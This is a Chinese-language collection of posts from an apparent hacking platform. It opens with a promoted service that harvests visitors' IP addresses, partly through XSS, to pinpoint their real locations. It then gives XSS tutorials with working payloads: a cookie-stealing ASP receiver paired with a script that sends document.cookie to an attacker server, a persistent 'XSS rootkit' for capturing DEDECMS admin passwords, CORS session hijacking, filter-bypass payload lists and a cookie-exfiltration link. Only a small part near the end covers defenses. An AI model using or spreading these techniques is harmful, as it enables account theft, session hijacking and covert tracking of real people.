中国骇客云IP地理位置截取,精准度非常高!想使用的会员们可以加入我们噢 ~~

中国骇客云平台将在本平台vip客户端发布网页工具:ip地理位置获取信息。
之前有的人在做hrml5地理位置信息获取,前提必须通过手机点击允许才可以获取目标的信息,弊端:如果用户不点击允许的话是测试不到对方的真实地理位置的,那么必须得需要一些钓鱼等技术让用户点击才可以的。
第二种方法是我们骇客云出的教程使用高德地图以及百度地图谷歌地图等API接口,接入目标网站然后使用xss获取经度纬度页面信息,伪造数据,进行查看目标的真实地理位置,这样操作有点高比较麻烦。得需要自己模拟用户当时的数据。
今天我们介绍一种直接在IP真实地理位置数据库直接查询IP地理位置,根据官网的高德地图接口进行查询。
教程如下:
首先使用ip信息获取,这里官网的ip信息采集页面为:http://hackerschinaip.eu5.org/    因为之前做的aip接口和xss数据获取的,及时手机用户不点击允许都可以获取对方的IP信息。操作如下图:

这是官网的获取数据,直接查看IP就可以。
第二步:进入骇客云平台。
点击开始,打开菜单的应用库,搜索:hackerip地理位置 找到该应用,如下图:

然后点击安装,安装完毕以后。
打开,搜索获取到的IP地址:如下图所示:
查看到的ip地址最后一个是非常精准的,今天我们获取的IP地理位置应该是我们官微上用户的真实地理位置。他当时触发的是官网的xss获取ip、
最后官网的高德应用中查看最后的信息:如下图:

我用的QQ截图,可能上传到官网的时候会出现模糊的现象,不过咱们官网的用户可以亲自去测试。
最后说明一下:该ip数据库的地理位置非常准确。
如果不准确可以进行报错,第二我们并没有申请该站的api接口,嵌入式开发,所以在应用上还得需要手动去看。第三,该应用是有弊端的,经过测试:对于机房服务器的ip地址,使用流量手机的Ip地址,不准确。连入内网的wifi手机ip,办公内网,家庭公网准确率在85%,所以请大家在测试的时候看一下最后数据是否显示街区,如果显示说明成功率已经在85%精确度大概在1到2公里左右。
分界线。
获取目标Ip的方法:
可以自己写xss获取方法,详情查询我们的历史文章。
可以使用网页插件监控的方法。
可以使用qq显ip、
可以用软件查看对方Ip。、
方法很多:百度一下吧。
我们官网用的是:官网页面采集,xss页面采集,官网游客监控采集。
大家也可以使用一些网站统计的代码直接可以获取当时用户访问的Ip地址后台就可以查询的。教程到此结束!感谢支持。

中国骇客云平台最新0day漏洞!微信被曝跨站脚本漏洞 最新微信漏洞xss漏洞!

跨站攻击(Cross Site Scripting)是由于程序员在编写程序时对用户提交的数据没有做充分的合规性判断和进行HTML编码处理,直接把数据输出到浏览器客户端,这样导致用户可以提交一些特意构造的脚本代码或HTML标签代码,并在输出到浏览器时被执行。黑客利用跨站漏洞输入恶意的脚本代码,当恶意的代码被执行后就形成了所谓的跨站攻击。利用跨站漏洞黑客可以在网站中插入任意代码,这些代码的功能包括获取网站管理员或普通用户的cookie,隐蔽运行网页木马,甚至格式化浏览者的硬盘,只要脚本代码能够实现的功能,跨站攻击都能够达到,因此跨站攻击的危害程度丝毫不亚于溢出攻击

朋友圈再次炸开了锅,打开朋友圈,发现组织代码,分享到朋友圈,就可以弹窗。微信方面并未对此事发表任何官方声明,朋友圈被彻底玩坏!来不及解释了,快上图!更多关注最新0day漏洞发布网!www.hackerschina.org

搜索一下,打开就会弹窗了。 

具体操作流程:分享格式发送朋友圈,在定位处添加模板代码,这样的

1< img src=1 onerror=confirm(“弹窗”);prompt(“呵呵”);>

 

附,Img xss 姿势

(1)普通的XSS JavaScript注入

<script src=”http://www.hackerschina.org/XSS/p.js”></script>

(2)IMG标签XSS使用JavaScript命令

<script src=”http://www.hackerschina.org/XSS/p.js”></script>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S’)>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S’)>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS’)>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”javascript:alert(‘XSS’);”>

更多关注我们官方公众微信喔!!!!!最新0day漏洞!

中国骇客un教你XSS漏洞类型主要分为持久型和非持久型两种

众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。

XSS漏洞类型主要分为持久型和非持久型两种:

  • 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞。
  • 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存。
  • DOM XSS漏洞,分为持久和非持久型,多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签造成。
  • FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞,同样按应用功能也分为持久和非持久型。

一般持久型XSS漏洞比非持久型XSS漏洞风险等级高,从漏洞的本质上来说这是没错的,但漏洞的利用仍然需要看场景,有时候更深入的看待场景能够挖掘出意想不到的东西,大家接着往下看。

1.XSS漏洞场景解析

首先我给出一段PHP分页的XSS漏洞的简单代码:

这段PHP代码中模拟register_globals是Web程序中常见的,代码中输出了网页的分页链接这个也是常见的

因为忽略了对传入数据的效验,更产生了最常见的XSS漏洞。

下面是这个XSS漏洞的验证方法:

GET方法在id参数中传入HTML内容,导致网页内容中的herf闭合,执行script标签里的脚本内容:

这是一个典型的非持久型XSS漏洞,在常规的思维逻辑下,这个漏洞到这里基本就打止了,本文也马上要变为普通的科普文了.

然而事实并没有那么简单,这个漏洞场景再深入挖掘,就牵出了本文的重头戏。

2.XXS Rootkit实现方法:

我们知道操作系统有Rootkit这样的内核后门,Rootkit最大的特性之一就是隐蔽,普通的安全软件无法检测出系统中运作着Rootkit,以保证Rootkit后门能长久存活于系统中,而Web程序的漏洞很难达到这一效果,而我发现某些特定场景的XSS漏洞能够达到这一效果。

现今流行的PHP Web程序的都喜欢自己模拟register_globals(全局变量注册)这一特性,通过GET、POST、cookie等方法注册变量(本文下面的内容都简称GPC),通过GPC直接注册变量方便整个程序的运作,而本文的重点即是围绕这一点来展开的。

第一部分的我模拟的XSS漏洞即是一个典型的全局变量注册的场景,demo.php不仅可以GET传参,还能接受cookie传参,变量注册顺序是GPC,由于注册变量的流程是一个foreach循环,所以通过GP注册变量最后能被C覆盖,而cookie是客户端浏览器的持久化数据,如果通过XSS漏洞设置cookie,我们完全可以把这个典型的非持久型XSS漏洞变成持久的,说到这里大家一定感觉非常兴奋了,我就来实际测试一下:

先写出一段设置cookie的javascript代码

把设置cookie的javascript代码编码一次,放入XSS URL中,这样防止魔术引号和不同浏览器编码的未知情况影响我们的测试,关闭IE8/9等XSS筛选器后,我们访问下面的URL让XSS生效。

结果令人非常满意,当我们关闭浏览器乃至关闭重启电脑后,再重新访问下面的网页:

无论是访问http://127.0.0.1/demo.php
还是访问http://127.0.0.1/demo.php?id=1
我们的XSS代码都会生效,同时如果客户端未清理cookie,这个XSS漏洞将有效一年的时间,达到了Rootkit隐蔽和能够持久存活的效果。

3.XSS Rootkit实战:

DEDECMS后台登陆主页的模板中有个gotopage变量存在XSS漏洞,代码如下:

dedetempletslogin.htm

65行左右

DEDECMS核心代码中,模拟全局变量注册机制的顺序是GPC,也就是C能够覆盖GP所注册的变量。

我们再套用0X02的代码测试,可以在cookie中持久化保存gotopage变量,如果管理员触发过我们的XSS漏洞,我们就能在管理员的cookie中持久化保存gotopage变量,将gotopage隐藏表单值变为我们的任意脚本内容,以后管理员只要是访问后台页面都会触发XSS漏洞,我们完全可以劫持管理员的整个登陆过程,悄无声息的直接获取管理员的密码。

当然DEDECMS这个漏洞的如何灵活运用更取决于黑客的发散思维,比如IE8/9等会拦截URL XSS,我们可以利用一个持久型的XSS或DOM XSS做为这类XSS Rootkit漏洞的payload,另外cookie的设置不限于同源策略,在任意子域名设置的cookie,可以让整个域名的应用都接受这个cookie,黑客可以脱离于DEDECMS程序本身的限制,在整个网站架构上的薄弱点攻击DEDECMS的后台。

4.深入XSS Rootkit场景:

在PHP全局变量注册机制的场景下,调整GPC的注册变量的顺序可以减弱XSS Rootkit攻击效果,如discuz程序:

注册变量的顺序是CPG,我们的C始终都不能覆盖GP所注册过的变量,不过程序的某个流程导致变量未初始化,还是能产生XSS Rootkit效果,如

在DISCUZ程序的退出代码存在一个XSS漏洞,在用户没有登陆的情况下,退出代码中的referer变量没有初始化,导致我们能任意控制这个变量。

在这个情况下我们不用担心CPG的注册顺序问题,但我们需要构造特定的URL,造成变量未初始化的情况才能触发XSS漏洞,这样XSS Rootkit攻击效果就大打折扣了,用户在登陆后的正常退出操作是不能触发我们的XSS漏洞的,已脱离了XSS Rookit的优势。

另外一个场景是滥用request类变量的情况,在不同脚本和服务器环境中request类变量的效果可能不同,如在我之前的《浅谈绕过WAF的数种方法》提到了asp/asp .net等request类变量有复参特性,所以gpc的内容都能同时进入注册变量,也可能会产生XSS Rootkit漏洞的情况。

最后还有一类特殊的DOM XSS情况,80sec的成员疯狗在几年前发现过,某大型网站的主页读取COOKIE中的用户ID在网页中显示并没有进行HTML编码,导致一个XSS漏洞即可在主页中安装XSS Rookit。

当然还有更多的场景,在剑心的《web应用程序中的rootkit》也都有提过,XSS Rootkit的场景我就解读到这里了,更多的场景就留给大家思维发散了。

5.后话

至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变,再一次揭示了漏洞的场景有多么重要

深掘漏洞场景完成一次本质的升华是多么美妙的事情。

程序员需要重视程序安全的每一个细节,任何一个不起眼的漏洞都可能会造成意想不到的危害。
一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞,普遍存在争议的情况,可以根据本文做参考,对场景再深入挖掘来定义风险,那么本文最重要的目的也就达到了。

XSSF是一款XSS漏洞测试平台,该产品可以把XSS漏洞的真实危害暴露出来。这个产品为教学、渗透测试和合法的研究服务。

XSSF通过XSS漏洞与目标浏览器建立连接进行更加深入的攻击利用测试。

XSSF提供强大的API库,并且集成于Metasploit渗透测试框架中。

Windows安装XSSF模块
下载安装Metasploit windows免费版:
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe

安装完成后将下xssf源码放到Metasploit安装目录msf3下,同样将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。

下载xssf源代码:选择最新的3.0下载,下载地址  xssf-3.0

运行metasploit客户端,加载xssf模块:msf > load xssf

BackTrack 5 Metasploit更新方法

虚拟机运行BackTrack5 r3在更新Metasploit时卡在pg-0.15.1,升级报错无法正常升级。

原因是msf并没有用BT5内置的Ruby,而是利用自带的Ruby版本为1.9.1,已经很古老了……所以升级系统的Ruby版本也会无济于事,但是按照下面的步骤更新,即可将msf更新到最新。

解决办法:

找到以下文件打开(注:32位、64位)

然后再找到:

修改为:

然后切换至/opt/metasploit/msf3再运行/opt/metasploit/ruby/bin/bundle install
最后msfupdate!

中国骇客云教你利用HTML5的CORS特性绕过httpOnly的限制实现XSS会话劫持

0×00. 前言

有时候我们遇到一个存储型XSS 漏洞,但是sessionId设置了httpOnly,劫持不了会话,显得很鸡肋,让渗透测试人员很蛋疼,不过这种情况正在好转,随着HTML5的流行,通过HTML5 的CORS功能实现跨域通信,建立HTTP tunnel通信,实现会话劫持已经变成可能,本文就通过实测验证HTML5的CORS条件下的xss会话劫持的可行性。

关于HTML5 的CORS 特性,请参考:http://www.ruanyifeng.com/blog/2016/04/cors.html

0×01. 前提条件

1)有一个存在XSS 漏洞的站点(最好是存储型的)

2)站点cookie使用了httpOnly

3)客户端浏览器支持HTML5 (因为用户端【被控端】和控制端需要通过HTML CORS 跨域通信,建立http通道)

0×02. 本次实验环境

漏洞环境:

1.修改后的dvwa (修改默认security level 修改为high,且high level下设置了httpOnly标志)

1.jpg

2.jpg

使用到的工具:

2.用户端浏览器使用chrome

3. Shell of the Future_v0.9

本文用到的最重要工具,用来实现XSS会话劫持,关于Shell of the Future,请参考:http://www.andlabs.org/tools/sotf/sotf.html

Shell of the Future 监听8080 和1337端口,8080 为对外公开,提供恶意js下载、建立http 通道

1337 监听在本地,用来管理被劫持的会话

选择Server + Proxy 模式,点击start 即可

3.jpg

4. burpsuite 1.7

运行在客户端(就是在虚拟机中,用户端访问含有XSS漏洞的站点时通过burpsuite代理访问,这样会捕获用户的访问,观察会话劫持的过程)

5.Vmware WorkStation

虚拟机,充当用户端 (192.168.3.206)

虚拟机充当用户访问设备 ,宿主机充当以下角色

1)dvwa 所在服务器(充当含有XSS漏洞的站点)192.168.2.85www.xss.net

2)xss漏洞触发时下载js所在服务器(即Shell of the Future所在服务器)192.168.2.85www.attacker.net

3)Shell of Future 管理后台: http://localhost/sotf.console

登录Shell of Future 管理后台的浏览器做以下设置:

4.jpg

然后地址栏输入 http://localhost/sotf.console,当看到如下界面时,说明shell of the future 和管理后台的浏览器设置OK

5.jpg

0×03. 测试过程

1) 事先插入一段xss代码

修改dvwa 数据库下的guestbook表的comment字段大小为800(不然长度不够嘿嘿)

6.jpg

然后插入一段xss 代码

7.jpg

2) 配置好用户端的hosts

192.168.2.85www.xss.net

192.168.2.85www.attacker.net

3)开始测试

用户端打开含有xss漏洞的站点:

8.jpg

恩,确认cookie设置了httpOnly标识

打开含有xss代码的页面,触发xss漏洞, OK, 通过截包,我们看看发生了什么

9.jpg

Ok,我们看到恶意js加载执行后就开始利用HTML CORS 特性跨域向控制端poll请求(poll 8080 端口,相当于在8080 建立了一条http 通道),

10.jpg

控制端接收到HTML CORS 请求后,从origin中获取被劫持会话的地址 (控制端就是HTML CORS的 server端)

11.jpg

然后。 控制端就给用户端分配一个 ID ,用于标识被劫持的sessionID, 从1开始,

13.jpg

用户端poll指令的时候携带上sessionID编号,控制端就知道要处理的是哪一个被劫持的session。

当hacker 在控制端点击被劫持的session的时候,控制端(1337端口)截获了此点击(确定是GET 请求还是POST请求,有木有携带参数),处理之后转发给8080端口的服务,然后通过8080的http 通道向用户(被控端)发送指令

当hacker 点击被劫持的session的host的时候(比如上图的www.xss.net),就相当于向用户端发送了GET http://www.xss.net 指令

用户端poll到指令之后,就开始执行了

14.jpg

上图指令是被hex加密之后的,16进制的分隔符是x,解码之后就是指令内容

其中m 表示请求方法,u表示请求的url,b表示请求参数,ct表示额外的请求头部,ssl表示是否加密,rid表示第几次请求

上图u 解密之后表示:http://www.xss.net/, 上述指令表示获取http://www.xss.net/的内容并发送给控制端

15.jpg

用户端执行完指令之后将指令执行结果内容push到控制端(利用HTML CORS特性跨域push)

16.jpg

注意到push的请求了吗, 1_1 表示第一个劫持会话的第一次请求, push的内容是www.xss.net首页内容,内容格式

请求编号&请求响应码&响应头部内容&响应body

请求编号表示第几次请求,响应头部和响应body 都经过16进制编码,16进制的分隔符是x

控制端接收到用户端的push之后,hex解码展现给用户

17.jpg

此后hacker在控制台点击被劫持会话页面的每个动作都被1337端口截获,1337端口监听的服务处理后将向用户端发送指令(这就是为什么设置代理的原理,发送指令是通过已建立的8080 端口 http 通道)

然后等待指令执行结果,然后展现给控制台,这就实现了会话劫持!

0×04. shell of the future 劫持会话原理图

200.jpg

100.png

0×05. 不足

用户端如果离开含有xss代码的页面的时候,则建立的http 通道断开连接 (e1.js 不会再执行,客户端不会轮询控制端指令,控制端没法下发指令)

中国骇客云教你XSS获取cookie并利用

获取cookie利用代码cookie.asp

<html>

<title>xx</title>

<body>

<%testfile = Server.MapPath(“code.txt”) //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request(“msg”) //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject(“scripting.filesystemobject”)//创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(“”&msg&””)//像code.txt中写入获取来的cookie

thisfile.close() //关闭

set fs = nothing%>

</body>

</html>

把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。

XSS构造语句

<script>window.open(‘http://10.65.20.196:8080/cookie.asp?msg=’+document.cookie)</script>

把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg=’+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。

简单步骤如下:

1、在存在漏洞的论坛中发日志:2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:

3、这是没有账户前的登陆界面:、

4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:

5、替换cookie后不用输用户名密码就顺利进入管理员账户了:

绕过DVWA所有安全级别的XSS Payload

反射型xss

低安全级别

首先,我们在浏览器中输入localhost/127.0.0.1 打开DVWA登录界面;使用admin:password默认账户登录,并在左侧栏选择反射型XSS漏洞。

1.png

我们可以看到,这里有一个“name”的文本提交框,当我在框中注入一段简单的js代码,会发生什么呢。

<script>alert(“helllooo”)</script>

2.png

很显然,浏览器执行了我的注入脚本,并生成一个弹框警告。如图所示。

在低安全级别中,攻击者只需使用简单的XSS语句,就能轻松绕过程序并执行代码。造成该问题的主要原因是开发人员,没有对用户的输入进行任何过滤导致的。

3.png

中安全级别

我们点击查看源码可以看到,在中安全级别中已经对“name”字段,添加了过滤函数限制js代码的注入。

str_replace – 用替换字符串,替换所有出现的搜索字符串。如果攻击者尝试使用script标签注入脚本,则脚本中的字符串将被替换为空。

对于这种过滤,我们也可以很轻松的进行绕过。只需将<script>改为大写<SCRIPT>或使用其他HTML标签

4.png

例如下面我使用body标签进行注入:

<body onload=alert(“XSS”)>

5.png

可以看到我们成功的注入了脚本,绕过了中安全级别过滤。如图所示:

6.png

高安全级别

在高安全级别下,我们可以看到代码的安全过滤机制明显增强。通过查看源码我们可以发现,这里使用了PHP的preg-replace函数,来正则匹配并禁用js脚本。

Preg_replace – 执行一个正则表达式的搜索和替换。

此时,我们已经无法使用以上的XSS脚本进行绕过了。代码会对用户所有的有效输入字符进行匹配检查,并将无效字符替换为空。

7-1.png

那么,对于高安全级别我们还能绕过吗?下面我再使用HTML的<img>标签来构造我们的XSS语句,看看是否能成功绕过。

<img src=x onError=alert(‘xss’)>

8-1.png

可以看到,XSS警告框成功弹出!如图:

9-1.png

存储型XSS

低安全级别

我们点击进入到存储型XSS界面,可以看到这里为我们提供了一个留言文本框。我们在留言框内注入一段简单的XSS代码,看看是否成功注入到服务端并弹出警告框。

<script>alert(“helllooo”)</script>

10-1.png

现在,只要用户访问到此页面并浏览我的留言时,他的浏览器将执行我的XSS脚本,并生成一个弹框警告。如图:

11-1.png

由于它会永久存储在Web服务器中,因此在切换到其他两个安全级别测试之前,我们需要重置DVWA数据库。

12.png

中安全级别

在之前的文章中我曾介绍过,关于使用inspect元素来更改文本区域的文本输入限制长度的方法。通过这种方式我们可以在文本框中,注入功能更为强大的XSS利用代码。下面我们按F12,通过inspector元素来修改“name”的文本字段最大长度。

13.png

将“maxlength = 10更改为maxlength = 100”; 这样我们就有足够的空间来注入我们的XSS脚本了。

14.png

接着我们在“name”字段中,输入以下脚本内容:

<body onload=alert(“XSS”)>

这里需要注意的是,留言框不能为空!

15.png

现在,只要用户访问到此页面并浏览我的留言时,他的浏览器将执行我的XSS脚本,并生成一个弹框警告。如图:

16.png

我们再次重置数据库。

17.png

高安全级别

重复相同的过程,更改“name”字段的最大长度。

18.png

将“maxlength = 10更改为maxlength = 100

19-1.png

接着我们在“name”字段中,输入以下脚本内容:

<img src=x onError=alert(‘xss’)>

同样,留言框不能为空!

20-1.png

再次成功弹出XSS警告框。如图:

21-1.png

视频演示

中国骇客教你 网站常见漏洞– XSS攻击

跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。
跨站攻击的一般步骤:
1.攻击者确定目标后,向目标站点可以写入数据库的地方写入攻击代码
2.网站的管理者在浏览攻击代码是自身信息泄漏
3.恶意的代码把获取的信息返回给攻击者
4.攻击者根据获取到的信息来入侵目标

XSS漏洞利用

一、窃取Cookie

对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“明小子”工具或其它可修改cookie的浏览器(如装有Cookies Edit插件的Firefox)将cookie修改为获取的cookie,这样即可获得网站的管理权限。

二.渗透路由器
对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如//admin:admin@192.168.1.1,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码

三、读取本地文件

在不同的浏览器中对本地文件的读取有着不同的限制,之前XEYE team曾有过统计,内容如下:

 

四、Hacking HomePage

相信对于很多初学Hack的朋友,都会对那一张张的黑页独有情钟,尤其是当前中美黑客大战中,中国人挂在白宫网站上黑页,让人至今记忆犹新!本节主要就是利用XSS来黑掉别人博客主页,但这里的黑页与入侵服务器来修改主页有很大区别,利用XSS来黑页其实并不是修改服务器上的页面,它只是通过JavaScript,CSS及其它WEB技术来修改页面。这主要就是通过注入js代码,然后在后台执行以达到盗取cookie或劫持浏览器的目的,这些代码往往都是一些HTML或JavaScript代码(往往是使用InnerHTML或者document.write命令来动态创建文本,图像及其它数据信息)。

 

下的“自定义header”一栏为例。我们先在向其写入下列语句:

<script src =”;></script>

接下来编写1.js代码:

document.write(“<center><h1><font color=#FF0000>Hacked By riusksk</font></h1></cneter>”);

document.write(“<center><h2><font color=#000000>Just for test !</font><h2></center><p><imgsrc=;</p><p><!–“);

上面的“<!—”主要是用于将后面的页面内容注释掉,避免显示,但这在各浏览器中情况会有所不同,比如我在Chrome中可以起到此作用,但在其它浏览器达不到此效果了,得采用其它注释语句方可,或者先用document.body.innerHTML = ”;来清空body主体中的html代码,然后再逐一利用document.createElement创建元素也是可行的。这里我是以Chrome作为测试用的浏览器

 

五、跨站中的“溢出攻击”

相信熟悉缓冲区溢出攻击的朋友,都知道其中的原理:通过向堆栈中填充过多的字节以覆盖返回地址,进而控制程序的执行流程。这里我要讲的XSS攻击方式与溢出有着类似的特点,但正如上面所讲到的,结果还是漏洞一堆,看来很多技术人员把博客放在百度空间还是有一定道理,至少它比这些博客网站安全多了。

 

六、XSS Worm

随着WEB2.0时代的到来,而Ajax就是WEB2.0的标志性技术。AJAX即“Asynchronous JavaScript and XML”(异步JavaScript和XML),AJAX并非缩写词,而是由Jesse James Gaiiett创造的名词,是指一种创建交互式网页应用的网页开发技术。Ajax的出现为XSS蠕虫的发展提供的很大的便利,也因此加速了xss worm技术的传播。这里我们就以之前爆发的Twitte蠕虫为例进行分析,该跨站漏洞主要出现在”Settings” 菜单下的 “Name”文本域以及”More info URL”文本域,是由一位来自美国纽约的17岁小伙子写的,当时他花了2小时就全搞定了,代码太多了,就不说了。有兴趣的可以上网百度一下。

 

七、DDOS攻击

XSS攻击的种类

xss的发掘

XSS攻击的防范(网站)

1.代码修改的防御

利用htmlspecialchars函数将特殊字符转换成HTML编码

函数原型

string htmlspecialchars (string string, int quote_style, string charset)

string 是要编码的字符串

quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换

charset 可选,表示使用的字符集

函数会将下列特殊字符转换成html编码:

& —-> &

” —-> ”

‘ —-> ‘

< —-> <

> —-> >

$_SERVER[“PHP_SELF”]变量的跨站

在某个表单中,如果提交参数给自己,会用这样的语句

<form action=”<?php echo $_SERVER[“PHP_SELF”];?>” method=”POST”>

……

</form> $_SERVER[“PHP_SELF”]变量的值为当前页面名称

例:

specialchars过滤输出的变量,或者提交给自身文件的表单使用

<form action=”” method=”post”>

这样直接避免了$_SERVER[“PHP_SELF”]变量被跨站

2.使用入侵检测产品的XSS防御

3.对关键字进行过滤,有的关键字在使用时被URL或其他的转码,所以在过滤式也应当考虑到

4.可以使用统一的编码,如UTF8

总结:

作为开发人员,要有一定的安全意识,当编写一段代码的时候,要站在攻方的角度,来思考程序的安全性。

作为安全人员,要站在开发人员的角度来思考,推测开发人员的逻辑,寻找缺陷,并加以利用。

前端xss攻击学习资料

实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善。但一直没有时间深入了解这东西,在此,做一个简单的梳理。

xss是什么

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的。
XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。但是随着前端技术的不断进步,这方面的问题越来越受关注。举个简单例子 : 假如你现在是sns站点上一个用户,发布信息的功能存在漏洞可以执行js 你在 此刻输入一个 恶意脚本,alert(),那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框。当然,这只是小儿科了,如果搞个更为激烈的,后果将很严重。
这个攻击过程看到有人总结了一个比较直观的图,供理解。
图片描述

xss攻击的危害

XSS攻击的危害包括:

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击
    举例:
  <body background=”javascript:alert(‘xss webjiaocheng!’)”><iframe src=javascript:alert(‘xss webjiaocheng!’)”><body onload=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>

哪些xss攻击

  • 从其它站点到应用站点的攻击:故名思义,这种攻击是由外部发起的,来自email或其它站点。这种攻击在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
    通常用户登录后会得到一个可用session,xss攻击者可以利用这个session,越过用户验证,进行一些不安全的操作,如下:
  <a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >    Check it out!</a>

通过这个链接,只要用户登录了,就会发送一个subject,即使在其它网站上。
正因如此,一般的邮箱客户端不会自动从不信任的网站上加载图片(因为考虑到可以通过img的src属性向第三方站点发送GET请求);另外,可以设置session的过期时间,让session自动失效。

  • 从应用站点到同站或其它站点的攻击:这种攻击,通常是攻击者在应用站点上通过发表评论,或者其它方式嵌入代码,当用户加载页面或者点击链接就会产生一些意想之外的操作。
    如下:
  <a href=”#” onmouseover = “window.location ='http://reallybadguys.net/collectCookie.php?cookie =' + documentcookie.escape();” >Check it out!</a>

当用户滑过链接,就会将cookie信息发到攻击者的服务器上。

看到有的资料上面是按照另外一种方式进行归纳的:

  • 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
    其攻击过程如下:
    A给B发送一个恶意构造了Web的URL。B点击并查看了这个URL。
    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
    A的恶意脚本可以在Bob的电脑上执行B所持有的权限下的命令。
  • 反射式漏洞
    这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含

在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

预防

作为前端开发人员,我们需要尽量让自己的代码足够强大和足够完善,并且随着开发经验的增长,相信对于自己熟悉的技术领域的防xss攻击,也会有更多和更深入的理解,下面仅列举几个方面,以后可以对这部分内容不断进行扩充。

  • 对于名字,描述之类的数据,需要格外注意其数据来源,在自测过程中,多输入xss异常数据。如:
  ></script><iframe/onload=alert(2)> 

之类的xss脚本。方便发现潜在的漏洞。

  • 在js中使用innerHTML方法修改dom的时候,要对数据进行转义。
  • 在使用一些模板语言的时候,以freemarker为例,入口文件可用
  <#escape x as x?html> ... </#escape>

指令包裹,这样可以保证该指令之间的模版数据在输出数据时默认转义。某些特定情况下,不方便使用<#escape>指令的时候,可以在输出的地方进行转义,如:${name?html},html方法既为ftl的转义指令。

中国骇客基础教程篇[xss学习]xss基础内容之抛砖引玉篇

1、最基本的xss漏洞成因

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http://www.w3.org/1999/xhtml”><head><title>xss one test</title></head><body>my name is <?php echo $_GET["name"]?>make by www.jjsec.com</body></html><!–

XSS测试代码:

xss.php?name=<script>alert(“xss”)</script>xss.php?name=<img src=1 onerror=alert(“xss”);>xss.php?name=<script>~’u0061′ ;  u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073.  u0061u006Cu0065u0072u0074(~’u0063′)</script>xss.php?name=<script>prompt(-[])</script>xss.php?name=<script firefox>alert(1)</script>xss.php?name=<SCRIPT>+alert(“2″)</SCRIPT>xss.php?name=<script>alert(String.fromCharCode(49))</script>xss.php?name=<script>alert(/7/.source)</script>xss.php?name=<script>setTimeout(‘alert(8)’,0)</script>xss.php?name=<button/onclick=alert(9) >KCF</button>xss.php?name=<a 